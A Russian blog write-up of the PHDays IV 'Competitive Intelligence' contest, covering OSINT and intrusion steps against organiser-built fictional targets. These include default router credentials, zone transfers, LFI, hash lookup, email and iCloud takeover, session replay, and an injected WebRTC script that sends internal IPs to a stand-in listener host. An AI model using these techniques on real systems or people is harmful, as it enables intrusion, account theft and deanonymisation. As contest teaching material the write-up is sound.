Страницы

суббота, 7 июня 2014 г.

Разбор заданий конкурса «Конкурентная разведка» на PHDays IV

Сегодня мы расскажем о некоторых практических аспектах сбора конфиденциальных данных на примере онлайн-конкурса «Конкурентная разведка», состоявшегося 15, 16 и 17 мая. По сравнению с прошлым годом задачи стали гораздо сложнее. В арсенале конкурентного разведчика должны быть самые разнообразные навыки, включая владение тулзами и плагинами, поэтому уровень хардкора было решено немного повысить. Впрочем, никуда не делись и традиционные требования к дедукции и умению искать связи.

1. Intro

По легенде игрок предстает новичком в хакерской андеграунд-тусовке Anneximous и получает задание обнаружить адрес электронной почты кого-либо из сотрудников ATH:
Hi, 
I heard you wanted to join the Anneximous group. That’s fine but you should prove you’re worth it. 
Rumor has it that feds are close to us. Those dumbasses from ATH (Bureau of Alcohol, Tobacco, Hackers and Cookies) must be spying on us! 
Teach one of the agents a lesson and maybe we’ll accept you. Get his email address.
Мы специально оставили intro-задание достаточно простым, чтобы никого не отпугнуть. Это задание решалось в один запрос в Гугле:

image

Решили: 82 человека

2. Расправа над конкурентами


Вы получаете новое задание, суть которого — собрать сведения о хакерах группировки World Wide Idol, ничего не понимающих в этике, и сдать их «федералам
You succeeded, but that task was for kiddies. The point is we have been competing with a group called World White Idol for a long time. They are exceptionally bad guys without any ethics or respect for old people. It’s time to destroy those displeasing Internet maniacs! 
The plan is to expose the members of this group to ATH and we’ll be alone on the throne! p.s. Actually, they’ve already started to hunt us (http://athc.biz/docs/137b60bcec2014fcedca10cc5f89bfb4.docx), so be careful and go look for these scumbags:
2.1. Ловим зеленого скрипт-кидди в Foursquare
Nickname: Schoolkid 
About: Script kiddie hacking everything he sees, not paying attention to anonymity. 
Development: Detected while hacking sites from the same IP address: 107.170.230.201. Hint: New info came up that the hacker is connecting from a public network. Thanks to Foursquare. Who the heck is using this thing after all? 

Окей, товарищ замечен во взломах с IP 107.170.230.201. Идем туда и видим беспроводной роутер с дефолтами (admin:admin).

image

Это роутер семьи Rodrigez, который расположен в точке с координатами #45.647801,-84.494360 (http://107.170.230.201/?page=geo.cgi). 

А в истории посещений роутера очень много запросов осуществляется к сервисам Foursquare.

Окей, в запросах приложения к Foursquare меняем данные геолокации на те, что указаны в процессе регистрации и поиска места для check-in: 

POST /v2/users/updatelocation HTTP/1.1 
Host: api.foursquare.com 
ll=45.647801,-84.494360&[…] 
GET /v2/venues/search?ll=45.647801,-84.494360&[…]HTTP/1.1 
Host: api.foursquare.com 

В поиске вбиваем фамилию семьи (Rodrigez) и находим нужное место.

imageimage

А также необходимого человека — хакера по имени Antony Kiddies 

Решили: 6 человек 
Баллы: 15
2.2. Ищем японца из WWIdol в базе федералов
Nickname: Japanese Businessman 
About: Record of conviction: ATH case #126. Hint: ATH have a single database for the profiles of Anneximous and WWIdol. Look deeper at athc.biz. Also, check out this service for Japanese hieroglyphs recognition — http://appsv.ocrgrid.org/nhocr/

В этом месте у большинства участников начались проблемы вплоть до публикации подсказки. У нас есть ссылка на наше «дело» и номер досье на японца (126), которое мы должны найти. Очевидно, что там будет нечто полезное :)


Переходим по ссылке и видим, что хеш — это md5 (“123456.7”) https://www.google.ru/search?q=137b60bcec2014fcedca10cc5f89bfb4 

Таким образом, на интересующего нас человека должна вести ссылка 123456.126, хеш которой — d39558559e10be6b4e36ca6a5a55bf79, а значит документ должен находиться по адресу: http://athc.biz/docs/d39558559e10be6b4e36ca6a5a55bf79.docx

Между прочим, задание навеяно достаточно нашумевшим кейсом по конкурентной разведке «Взлом Gartner через адресную строку». Открыв ссылку на athc.biz, мы найдем фотографию какого-то документа. Если заголовок в верхнем левом углу увеличить, повернуть и загнать в сервис перевода, ссылка на который лежит в подсказке, а потом в Google Translate, то мы узнаем имя: Haru Sakata.

image
image

Кстати, вот что бывает, если не увеличить изображение:
  image

Задание еще не заканчивается — игрокам предстоит узнать дату рождения и место работы японца. 

На twitter.com есть целых четыре Haru Sakata, из них для конкурса мы сделали троих. Отделить «настоящего» от ненастоящего помогает Google Images. Сервис поиска изображений поможет понять, что данный человек — вовсе не Haru Sakata, а, скажем, известный японский актер.

image

Решили: 4 человека Баллы: 20
2.3. Поиск «французского адвоката»
Nickname: Counsel 

На данного персонажа в «материалах» ATH достаточно данных: есть и имя, и email, и даже обрезок фотографии. Эту фотографию можно посмотреть в оригинале: zip://46a2934643bf3f80c530aee55195594d.docx/word/media/image2.emf 

Теперь картина становится яснее: персонаж должен быть как-то связан с Парижем, не случайно же на ней появилась эта железная штука :) 

В итоге целых пять человек не смогли отличить настоящего counsel от его двойников с точно такой же фотографией, но никак не связанных с Парижем.

image 

Решили: 9 человек 
Баллы: 20
2.4. Смотрим на домены третьего уровня и восстанавливаем учетку в Facebook
Nickname: PakistaniChristian 
About: Yo dawg, I heard you like subdomains, so I put three levels in yo subdomains so you can use subdomains while yo surf domains. 
Hint: We got data that their domain is ftp.wwidol.com. 
Hint2: You are still looking in wrong places. Why do you think there is an e-mail? 

Единственное, чего мы не предусмотрели в механизме проверки правильности ответов, что участники (или организаторы) перепутают имя и фамилию, и ни один ответ не будет считаться правильным. 

А задание было достаточно легким: находим домен ftp.wwidol.com (брутфорсом или AXFR-запросами, которые были разрешены для домена wwidol.com), у которого открыт анонимный доступ по протоколу FTP. Там в папке /images_upload/ лежит старый добрый thumbs.db времен Windows XP.
    imageЭтот специальный файл, в котором хранятся некоторые эскизы изображений проводника, позволяет узнать название картинок, которые закешировала ОС:

image

Стучаться в почту на этот раз бесполезно —лучше вспомним, как деанонимизируют домохозяйки (http://www.xakep.ru/post/62206/).

imageЗнание фотографии человека позволяет отделить ненастоящие учетные записи от настоящих. Решили: 5 человек Баллы: 20
2.5. Пробиваемся в ATH
Nickname: johnsmith@athc.biz 
Hint: We’ve managed to track the IP address of ATH which they use to access the Internet. You may use this exploit to obtain the internal IP: http://net.ipcalf.com/

Теперь игрокам необходимо найти информацию о сотруднике этой самой ATH по имени John Smith. Если послать письмо на ящик johnsmith@athc.biz, то в ответе мы получим две подсказки.

image

Первая — какое-то подобие антивируса проверяет все ссылки из письма, видимо на предмет вирусов, хотя, судя по новостям (http://habrahabr.ru/post/180163/), может быть и для других целей ;) 

Вторая — в интернет глядит роутер NetGear N600, который обладает весьма интересными уязвимостями: http://www.exploit-db.com/exploits/32883/

image

Вот что будет, если подкинуть «антивирусу» ссылку на свой ресурс:

image

По IP-адресу 162.243.77.131 действительно находится роутер, обладающий упомянутыми выше уязвимостями, позволяющими, скажем, получить пароль админа, несмотря на ответ HTTP 401:

imageimage

В этой «модели» роутера уже побольше функциональных возможностей: и аттач логотипа в футер страниц, как нынче делают некоторые мобильные операторы, и SMB Manager, который с помощью Java Applet позволяет «шариться» на компьютерах во внутренней сети — знать бы только IP-адрес.

imageimage

Судя по подсказке, выяснить IP-адрес можно будет с помощью формы изменения футера в HTML-страницах и модификации эксплойта из подсказки:
  
image
<script>
var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function () {
    var rtc = new RTCPeerConnection({iceServers:[]});
    if (window.mozRTCPeerConnection) {      
        rtc.createDataChannel('', {reliable:false});
    };
    rtc.onicecandidate = function (evt) {
        if (evt.candidate) grepSDP(evt.candidate.candidate);
    };
    rtc.createOffer(function (offerDesc) {
        grepSDP(offerDesc.sdp);
        rtc.setLocalDescription(offerDesc);
    }, function (e) { console.warn("offer failed", e); });
    var addrs = Object.create(null);
    addrs["0.0.0.0"] = false;
    function updateDisplay(newAddr) {
        if (newAddr in addrs) return;
        else addrs[newAddr] = true;
        var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
        document.getElementById('list').value = displayAddrs.join(" or perhaps ") || "n/a";
        document.form.submit();
    }
function grepSDP(sdp) {
        var hosts = [];
        sdp.split('\r\n').forEach(function (line) { 
            if (~line.indexOf("a=candidate")) {     
                var parts = line.split(' '),        
                    addr = parts[4],
                    type = parts[7];
                if (type === 'host') updateDisplay(addr);
            } else if (~line.indexOf("c=")) {       
                var parts = line.split(' '),
                    addr = parts[2];
                updateDisplay(addr);        }     });  }})(); else {}
</script><form name="form" action="http://listenhost:port/" method="post"><input type="text" name="value" id="list"></form>

В результате получаем желаемое:

image

Мы также получили приветствие от кого-то из участников, было приятно:

 image

Теперь поищем доступ к компьютеру этого самого John Smith и попробуем найти ответы на поставленные вопросы:

imageimage

Решили: 2 человека 
Баллы: 35 

Примечание: здесь и далее решение любого задания из группы приводило к появлению новых заданий.
3.1. Попытка разговорить девушку на сайте знакомств
Nickname: Stripper 
About: "Talky" girl, doesn't separate private life from the job. Her probable location is #53.2054508, 63.6218262. She uses dating sites for finding clients. 

В Фейсбуке или Вконтакте данную личность по местоположению смогли найти целых двое участников.

На самом деле, мы хотели, чтобы участники нашли ее сначала на Badoo, а уже затем разговорили «умную» девушку и заставили ее выдать все свои секреты. Но в «друзья» постучался лишь один участник (возможно, это был случайный прохожий), а заговорить никто так и не осмелился. Ну и, конечно же, было несколько «ненастоящих» сущностей, которые могли запутать участников и натолкнуть их на неправильные ответы.

imageimage

Решили: 2 человека
Баллы: 30
3.2. iPhone сдает индийского таксиста
Nickname: IndianTaxi-driver
About: Counsel, his brother, should know everything about him. The password for the counsel’s email is ... wait … his birth day! What a freaking surprise!

Хорошо, чтобы узнать все о таксисте, участникам необходимо было проникнуть в почту юриста, его брата. Знали его день рождения те, кто прошли 3-е задание. В почте можно было найди логин и пароль от почты самого индуса.

image

А в почте индуса становится ясно, что он активно пользует «яблочные девайсы».

image

Учетка от iCloud совпадала с почтовой, но в любом случае при желании ее можно было и сбросить, имея доступ к почте. Зайдя в iCloud, участникам достаточно было просто отследить iPhone, который мы заранее отправили в Дели :)

image

Решили: 2 человека
Баллы: 40
3.3. Развлечения сисадмина
Nickname: Admin
About: The admin of wwidol.com.

Гугл говорит, что на сайте wwidol.com есть папка /.git/, в которой доступен индекс и доступен для чтения файл config, откуда мы можем узнать логин учетной записи админа на github! Вот это повезло ;)

imageimage

Если погуглить ник, то можно узнать, что у админа на самом деле два аккаунта на Гитхабе — один рабочий, а второй для «развлечений». Вот как раз на втором репозитории и можно было найти .htpasswd и IP-адрес, на котором должен был находиться этот файл.

imageimage

Оказывается, IP-адрес совпадает с адресом wwidol.com, а значит админ хранит какие-то файлы на сервере WWIdol. Но на каком хосте? Если участник к этому времени уже сделал AXFR-запрос, то знал про хост src.wwidol.com, если нет — то сейчас самое время было или побрутить домены третьего уровня, или сделать-таки этот Zone Transfer Request.

Пароль брутится очень быстро: это строка «admin», чего достаточно для получения всей информации об админе в файле /about-me.txt

 image

Решили: 3 человека
Баллы: 30
3.4. От админа до копа один шаг
Nickname: Cop
About: Admin and Cop are somehow connected. Errr, but how? Gosh….

Хм-м, коп и админ как-то связаны. Посмотрим в файл src.wwidol.com/note.txt — там лежит логин, пароль и IP-адрес веб-камеры, на которой мы и узнаем все о копе из счета на доставку какой-то непонятной субстанции.

 imageРешили: 3 человека
Баллы: 20
3.4. Когда анонимайзер не спасает
Nickname: ParanoidHacker
Hint: The hacker uses an anonymizer but his DNS requests absolutely don’t resolve. We know for sure that during daytime the hacker is at his so called “official” job, but still doing nasty things from there. He’s also running his own website that doesn’t look hackproof, so you can hackproove it.

Мыло хакера-параноика светится на wwidol.com в самом низу.

image

Если попробовать отправить на него ссылочку (как в задании 2.5), то хакер-то зайдет по этой ссылочке, только вот через анонимайзер (об этом говорится в хинте, который мы опубликовали на 3-й день), однако DNS-запросы к нашим ресурсам будут идти с ресурсов хакера.

image

Эти ресурсы снова располагаются за роутером с дефолтными учетными записями (ну да, роутер же «офисный», откуда хакер и занимается своими делишками): admin:admin.

image

Из логов роутера видно, что хакер заходит на ресурс homehekkers.com — домашний сайтик, сделанный на WordPress с установленным плагином dewplayer, уязвимым к LFI:

 image

А так как оказывается, что homehekkers.com и wwidol.com хостятся на одном и том же IP-адресе (вот это совпадение!), то всю инфу о хакере мы можем узнать: запись лежит в файле /tmp/dump.sql (привет, Москва!).

Решили: 0 человек
Баллы: 50
3.4. Кто-то сливает информацию в ATH
Nickname: rat
About: Here is the list of potential rat's accounts at the forum http://anneximous.com/rat.txt. Find me the rat!
Hint: Once upon a time there was and is Google mail. Stories were written and songs were composed 'bout Google mail remembering even the things one wouldn’t suspect. And they all lived happily ever after. The question is who are "they"…?

Последнее задание в этой группе — найти крысу из ATH, которая завелась в Anneximous. Для этого нам выдают списки email:md5(pass) потенциальных крыс. И только один хеш можно быстро «пробить» в Гугле:

kevinreissen@wwidol.com:09d1d20bd495912ed5307a08510440d6 (Admin111) 

Теперь, если зайти к нему в почту (wwidol.com обслуживают почтовые аккаунты через Google Apps, это можно узнать даже с помощью nslookup)

image

Зайдя в Gmail под данной учетной записью, можно было бы развернуть подробную информацию об IMAP-запросе с девайса com.android.email и узнать IP-адрес крысы.

 image

И снова через уязвимость роутера ATH получить доступ к компьютеру во внутренней сети и узнать всю необходимую информацию.

image

Решили: 0 человек
Баллы: 20

4. Финальный рывок

Мы подходим к заключительной части нашей саги о конкурентных разведчиках. Напоследок участникам оставалось найти информацию о крысе ATH, засевшей в WWidol и боссах группировок Anneximous и WWidol.
4.1. wwidolRat
Nickname: wwidolRat
About: Info: rat's report at http://athc.biz/docs/f4dd947b925ef548fcdfd66789174033.docx.

В помощь выдавался отчет крысы. В метатегах (о которых участники спрашивали в самом начале конкурса) можно было бы найти IP-адрес и в очередной раз раздобыть полезную информацию с компьютера в сети ATH:

image

image

Кроме того, на компьютере крысы находится архив с какими-то данными, но он, к сожалению, закрыт паролем:

 image

Оказывается, у крысы есть собственный сайт, который почему-то заблокирован ATH.

 image

Но вот если обращаться к IP-адресу по доменным именам (kevin-donnalley.com и images.kevin-donnalley.com), то все получится:

image

Ковыряем thumbs.db и узнаем base64_encode(facebook_id) крысы:

image image

Решили: 2 человека
Баллы: 20
4.2. Захватываем власть в своей банде
Nickname: Anneximous Boss
About: empty
Hint: You can use accounts 4000–4040 with the pass “phdIV @107.170.92.105”, but you still need to find boss’ nickname ;)

В отчете крысы есть прямая ссылка на папку с изображениями отчетов:

 image image

В этой папке мы можем отследить некоторые новые идентификаторы отчетов и по ним попробовать получить доступ к самим отчетам:
 imageТак это же отчет на боссов Anneximous и WWIdol c паролем от дампа траффика из архива! Открыв запрос мы увидим следующее:

POST /profile.php?PHPSESSID=055e9c961e311901050b261e16ef57aa HTTP/1.1 
Host: anneximous.com 
Cookie: PHPSESSID=055e9c961e311901050b261e16ef57aa; 
Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 
Connection: close

Если повторить запрос — видимо, сессия до сих пор жива :)) — то можно узнать и имя босса Anneximous и его аккаунт в SIP.

image

Решили: 0 человек
Баллы: 55
4.3. Сюрприз
Nickname: Wwidol Boss
About: empty

Казалось бы, зачем знать SIP босса, если все уже и так известно для заполнения формы. Но если бы кто-то дошел до этого задания, позвонил боссу на johanson@107.170.92.105 и внимательно посмотрел на траффик, то увидел бы, что пакеты начинают «летать» через 128.199.236.23 — а ведь это хост boss.wwidol.com. Получается, что босс Anneximous и босс WWIdol — одно и то же лицо (вот это сюжетный поворот, Санта-Барбара отдыхает!)

image

Ну и, значит, можно отправить такой же запрос с таким же паролем (боссы, они же тоже люди и любят использовать одинаковые пароли) на wwidol.com , что позволяет нам узнать «псевдоним» босса в кругах WWidol!

image

P. S. До решения этого задания так никто и не добрался, однако одному из наших победителей удалось «подобрать» по самому первому отчету ник босса и позвонить ему :)

Решили: 0 человек
Баллы: 30

Конкурс закончился в 17 мая 19:00 по Москве (шел три дня вместо запланированных двух), хотя некоторые заполняли ответы и после окончания конкурса. Всего на конкурс зарегистрировался 301 человек, 82 прошли вступительное задание, а остальное в сводной таблице ниже.


Комментариев нет:

Отправить комментарий